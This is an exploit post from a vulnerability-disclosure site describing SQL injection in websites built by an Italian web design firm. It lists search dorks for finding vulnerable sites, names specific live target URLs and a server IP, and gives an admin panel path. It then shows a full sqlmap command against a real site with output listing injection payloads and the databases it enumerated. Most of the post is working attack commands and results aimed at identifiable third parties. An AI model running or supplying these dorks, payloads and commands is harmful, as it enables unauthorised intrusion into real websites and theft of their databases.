alfacommunication.it SQL Injection vulnerability - CXSecurity.com

# Exploit Title:alfacommunication.it SQL Injection vulnerability
# Date:29/11/2019
# Dork: inurl:detail.php?id= site:.it
        inurl:5ad.php?id= site:.it 
        inurl:single-news.php?id= site:.it
        inurl:caseinterno.php?id= site.it

# Exploit Author:H9xHacker
# Tested on:Linux


Reverse check bing.com

ip:54.76.134.14 .php?id= (There are 55 domains hosted on this server.)

# Demo
ediliziafiorentina.it/detail.php?id=19
old.faraone.it/5ad.php?id=319
intesagdi.it/0a-newsdetail.php?id=405

# Admin control panel path

site.it/cms/

# Poc:

sqlmap --level=5 --risk=3 --timeout=10 --threads=10 --random-agent -u 'http://old.faraone.it/5ad.php?id=319' --no-cast --batch --dbs

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=319 AND 7712=7712

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=319 AND (SELECT 9560 FROM (SELECT(SLEEP(5)))ORoc)
---
web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
web application technology: Apache 2.2.22, PHP
back-end DBMS: MySQL >= 5.0.12
available databases [2]:
[*] `cms-faraone`
[*] information_schema
------------------------

video:https://www.youtube.com/watch?v=EEvMO-jyDPE


Greets:To All My Friends